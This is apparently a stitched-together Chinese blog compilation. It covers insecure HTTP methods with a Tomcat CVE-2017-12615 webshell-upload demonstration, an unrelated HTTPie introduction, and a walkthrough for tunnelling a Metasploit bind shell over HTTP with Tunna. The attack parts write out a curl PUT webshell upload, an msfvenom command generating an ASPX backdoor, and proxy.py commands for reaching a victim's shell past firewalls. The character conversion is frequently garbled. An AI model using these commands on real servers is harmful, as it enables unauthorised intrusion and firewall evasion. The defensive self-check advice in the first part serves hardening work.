爲何要禁止除GET和POST以外的HTTP方法？

所以，有必要說明一下，爲何要禁止除GET和POST以外的HTTP方法。

換句話說，對於這些HTTP不安全方法，到底有多不安全呢？

1、HTTP請求方法有哪些

根據HTTP標準，HTTP請求可使用多種方法，其功能描述以下所示。

HTTP1.0定義了三種請求方法： GET、POST、HEAD

HTTP1.1新增了五種請求方法：OPTIONS、PUT、DELETE、TRACE 、CONNECT

2、舉例說明不安全的HTTP方法

衆所周知，GET、POST是最爲常見方法，並且大部分主流網站只支持這兩種方法，由於它們已能知足功能需求。其中，GET方法主要用來獲取服務器上的資源，而POST方法是用來向服務器特定URL的資源提交數據。而其它方法出於安全考慮被禁用，因此在實際應用中，九成以上的服務器都不會響應其它方法，並拋出404或405錯誤提示。如下列舉幾個HTTP方法的不安全性：

一、OPTIONS方法，將會形成服務器信息暴露，如中間件版本、支持的HTTP方法等。

二、PUT方法，因爲PUT方法自身不帶驗證機制，利用PUT方法便可快捷簡單地入侵服務器，上傳Webshell或其餘惡意文件，從而獲取敏感數據或服務器權限。

三、DELETE方法，利用DELETE方法能夠刪除服務器上特定的資源文件，形成惡意攻擊。

3、漏洞驗證

（一）環境搭建

一、測試環境爲：WIN10 64位、Tomcat 7.0.7二、curl 7.49

二、在Tomcat 7默認配置中，web.xml文件的org.apache.catalina.servlets.DefaultServlet的

readonly參數默認是true，即不容許DELETE和PUT操做，因此經過PUT或DELETE方法訪問，就會報403錯誤。爲配合測試，把readonly參數設爲false。

（二）漏洞利用

一、PUT上傳和DELETE刪除文件成功

在DefaultServlet的readonly參數爲falsed的狀況下，使用Curl進行測試，發現已能經過PUT上傳和DELETE刪除文件。

二、直接PUT上傳.jsp失敗

此時想直接上傳webshell.jsp，但發現上傳失敗。

研究發現，緣由是在默認配置下，涉及jsp、jspx後綴名的請求由org.apache.jasper.servlet.JspServlet處理，除此以外的請求才由org.apache.catalina.servlets.DefaultServlet處理。

剛纔將DefaultServlet的readonly設置爲false，並不能對jsp和jspx生效。所以，當PUT上傳jsp和jspx文件時，Tomcat用JspServlet來處理請求，而JspServlet中沒有PUT上傳的邏輯，因此會403報錯。

三、利用漏洞成功上傳WebShell

對於不能直接上傳WebShell的問題，通常的思路是經過解析漏洞來解決，而很多中間件版本如IIS 六、TOMCAT 7等都出現過相關的漏洞。

在此測試環境中，利用Tomcat 7的任意文件上傳漏洞（CVE-2017-12615）來實現目的，該漏洞經過構造特殊後綴名，繞過tomcat檢測，讓它用DefaultServlet的邏輯處理請求，從而上傳jsp文件。具體來講，主要有三種方法，好比shell.jsp%20 、shell.jsp::$DATA 、shell.jsp/

本次測試，使用第一種方法，在1.jsp後面加上%20，如此便可成功實現上傳，並取得WebShell。

curl -X PUT http://127.0.0.1:8080/examples/1.jsp%20 -d 「HelloJSP」

而後就直接掛馬了，從下圖能夠看到成功上傳webshell.jsp，併成功實現對服務器的控制。

 

4、如何自糾自查

從上面的Tomcat測試能夠發現，雖然需在DefaultServlet的readonly參數爲false前提下，才能實現滲透，但仍是建議把除了GET、POST的HTTP方法禁止，有兩方面緣由：

一、除GET、POST以外的其它HTTP方法，其剛性應用場景較少，且禁止它們的方法簡單，即實施成本低；

二、一旦讓低權限用戶能夠訪問這些方法，他們就可以以此向服務器實施有效攻擊，即威脅影響大。

寫到這裏，也許你們都明白了，爲何要禁止除GET和POST外的HTTP方法，一是由於GET、POST已能知足功能需求，二是由於不由止的話威脅影響大。

自糾自查方面，可使用OPTIONS方法遍歷服務器使用的HTTP方法。但要注意的是，不一樣目錄中激活的方法可能各不相同。並且許多時候，雖然反饋某些方法有效，但實際上它們並不能使用。許多時候，即便OPTIONS請求返回的響應中沒有列出某個方法，但該方法仍然可用。總的來講，建議手動測試每個方法，確認其是否可用。

具體方法，舉例說明，使用curl測試：

一、測試OPTIONS是否響應，並是否有 Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS

curl -v -X OPTIONS http://www.test.com/test/

二、測試是否能經過PUT上傳文件

curl -X PUT http://www.test.com/test/test.html -d 「test」

三、找一個存在的文件，如test.txt，測試是否能刪除

curl -X DELETE http://www.example.com/test/test.text

HTTP命令行工具——HTTPie

Httpie 是什麼

Httpie （aych-tee-tee-pie）是一個 HTTP 的命令行客戶端。其目標是讓 CLI 和 web 服務之間的交互儘量的人性化。你能夠用它很方便的用 http 的命令調試接口，最經常使用的應該就是 GET 和 POST 了。

接口是什麼

舉個簡單形象的例子，若是有一家寵物店賣動物口糧，好比貓糧狗糧，那麼出售糧食就是一個接口，來的是貓就賣貓糧，來的是狗賣狗糧，之後來個什麼雞鴨魚之類的只要修改一下這個出售糧食的方法便可。

若是沒有接口，那麼就要寫好對貓怎麼作，對狗怎麼作，並且之後對雞鴨魚這些來了還要從新寫對雞怎麼作等等等等……簡而言之，接口可讓程序便於變化。

爲何要調試接口

最終的目的就是使接口穩定，沒有 bug 。通常來講除了最基礎的正常使用功能以外，還須要測試臨界時的狀況，好比說對處於可輸入數據範圍邊界上的數據是否可以處理；還有性能測試，這部分就是使用資源的狀況，接口響應時間等。

關於 Httpie

特色：
一、直觀的語法
二、格式化和色彩化的終端輸出
三、內置 JSON 支持
四、支持上傳表單和文件
五、HTTPS、代理和認證支持
六、支持任意請求數據
七、自定義標題
八、持久性會話
九、類 Wget 下載
十、支持 Python 2.6, 2.7 和 3.x
十一、支持 Linux, Mac OS X 和 Windows
十二、插件
1三、文檔
1四、測試覆蓋率

Curl VS Httpie

咱們首先用一張圖來進行比對 Httpie 與 curl :

curl 的使用方法

curl -X METHOD -H HEADER -i

後面的-i是表示顯示返回消息的頭部，若是你使用 cURL 訪問 OpenStack，那麼這個選項在獲取 UUID 類型的 token 時必不可少。而後建立請求消息體，在使用 curl 來發送消息，會返回 json 消息體，但返回的 json 消息體比較混亂，不便閱讀，若是想從返回的 json 消息體中獲取一下信息是比較困難的。

 

Httpie的使用方法

HTTPie 基於 python 編寫，內部使用了 Requests 和 Pygments 庫。

HTTPie 的用法要比 cURL 直觀不少，沒有那麼多選項，基本上內心怎麼想就怎麼寫，默認輸入和輸出都是 json 格式 (而 cURL 必需要指定 -H 「Content-Type: application/json」)。咱們一樣實現上面獲取 token 的功能，效果以下:

很明顯的能看出，使用 Httpie 所獲得的結果結構的清晰明瞭，它對返回的結果自動作了高亮和格式化。

 

經過HTTP進行交互式綁定

介紹

當咱們僅僅利用現有的網絡服務器，而且須要一個交互式shell時，因爲網絡沒有開放端口，惟一的辦法是經過web服務器上的http端口進行操做，即利用現有的網絡服務器在HTTP內部傳輸流量。

 

關於這個問題以前有一些混亂的解決方案，有些甚至是靠運氣開放的端口。所以，咱們須要的是一種更通用的方法，每次使用webshell時均可以使用。

咱們首先開始編寫工具webtunfwd，它負責在咱們攻擊的機器上的本地端口上監聽，當咱們鏈接到本地端口時，它會將內容socket.recv發送到具備POST請求的web服務器。而後，網絡服務器將接收該POST請求內發送的任何內容，並將其送入受害者的套接字鏈接。

 

下圖是來自Tunna項目的github：

下面是該過程的一個簡單介紹：

 

• 攻擊者上傳webtunfwd.php到受害者服務器victim:80/webtunfwd.php

• 攻擊者上傳惡意軟件或監聽的meterpreter bindshell localhost:20000

• 受害者正在被監聽localhost:20000

• webtunfwd.php?broker鏈接到localhost:20000並保持鏈接打開

• webtunfwd.php?broker從套接字讀取並將其寫入咱們將調用的臨時文件out.tmp

• webtunfwd.php?broker從咱們將調用的tempfile中讀取in.tmp並寫入套接字

 

如今咱們的webtunfwd.php?broker已經在受害方處理了套接字鏈接，並一直保持打開狀態。咱們如今須要分別從兩個文件in.tmp和out.tmp中讀取數據到咱們使用的攻擊機器。

 

下面是由咱們的python腳本處理的local.py：

 

• 攻擊者local.py在他的監聽端口的機器上運行localhost:11337

• 攻擊者鏈接到meterpreter客戶端localhost:11337

• 當local.py接收鏈接時，它建立2個線程。一個用於閱讀，另外一個用於寫做

• 讀取的線程從套接字讀取並經過in.tmp建立帶有數據的POST請求寫入webtunfwd.php?write

• 寫入線程out.tmp經過建立GET請求webtunfwd.php?read並寫入套接字來讀取數據

 

所以，經過此代碼，咱們如今能夠經過HTTP進行動態端口轉發，而且能夠在咱們想要的服務器上運行任何有效負載。

咱們須要作的第一件事就是克隆git倉庫，在攻擊的機器上運行：git clone https://github.com/SECFORCE/Tunna

 

在這個項目中咱們有不少文件。咱們將要使用的是proxy.py，而後是webshells，爲了讓Tunna工做，首先要上傳webshell到webshells文件夾中，咱們會發現conn.aspx-使用正在利用的漏洞將webshell送到機器上，如今咱們將conn.aspx放置在http://victim.com/conn.aspx。

 

Tunna已經安裝並可使用。

生成有效載荷

 

咱們如今要經過metasploit來生成後門（backdoor），這是一個簡單的shell。這個shell將會監聽localhost:12000哪些多是本地主機上的任何端口，由於咱們將經過它鏈接到它Tunna。

 

因爲咱們想在運行ASPX的Windows服務器上運行咱們的shell，所以咱們將使用ASPX格式構建咱們的後門程序MSFVENOM。

 

咱們使用如下命令：

msfvenom --platform Windows -a x64 -p windows/x64/shell/bind_tcp LPORT=12000 LHOST=127.0.0.1 -f aspx --out shell.aspx

 

這其中：

 

• --platform 目標平臺

• -a 目標架構

• -p 有效負載使用

• LPORT 在目標上監聽什麼端口

• LHOST 咱們正在監聽的IP地址

• -f 有效載荷的輸出格式

• --out 在哪裏保存文件

 

運行這個命令後，咱們如今已經有了shell.aspx。

 

因此如今咱們假設有如下兩個文件可用：

http://victim.com/conn.aspxhttp://victim.com/shell.aspx

                                                        發起攻擊

Tunna被上傳到服務器，咱們的後門也準備好了，一切都安裝好了以後就能夠開始發起攻擊。

 

咱們要作的第一件事就是訪問http://victim.com/shell.aspx，如今能夠看到咱們的shell在運行後在攻擊機器上監聽端口12000netstat -na：

 

下面有兩項操做來實現鏈接，第一個是咱們來自Tunna的proxy.py，第二個是咱們用於鏈接的metasploit控制檯。

 

首先，咱們使用如下命令將本地端口10000轉發到遠程主機上的端口12000：

python proxy.py -u http://target.com/conn.aspx -l 10000 -r 12000 -v --no-socks

 

這其中：

 

• -u - 帶有上傳的webshell路徑的目標網址

• -l - 在攻擊機器上偵聽的本地端口

• -r - 在受害者機器上鍊接的遠程端口

• -v - 詳細

• --no-socks - 只須要端口轉發

 

當它等待鏈接時，輸出將以下所示：

攻擊機器如今在端口10000上進行本地監聽，咱們能夠經過metasploit鏈接到它。

 

爲了作到這一點，咱們能夠按照如下方式配置metasploit：

以後，咱們進入run。如今能夠獲得一個shell：

結論

 

用HTTP封裝完整的TCP鏈接能夠避開嚴格的防火牆等，咱們能夠用想要的任何東西來代替正常的shell，Tunna只是爲咱們轉發端口而已。

 

 

 

更多：

cURL vs HTTPie on the Command Line for HTTP APIs： https://www.ctl.io/developers/blog/post/curl-vs-httpie-http-apis\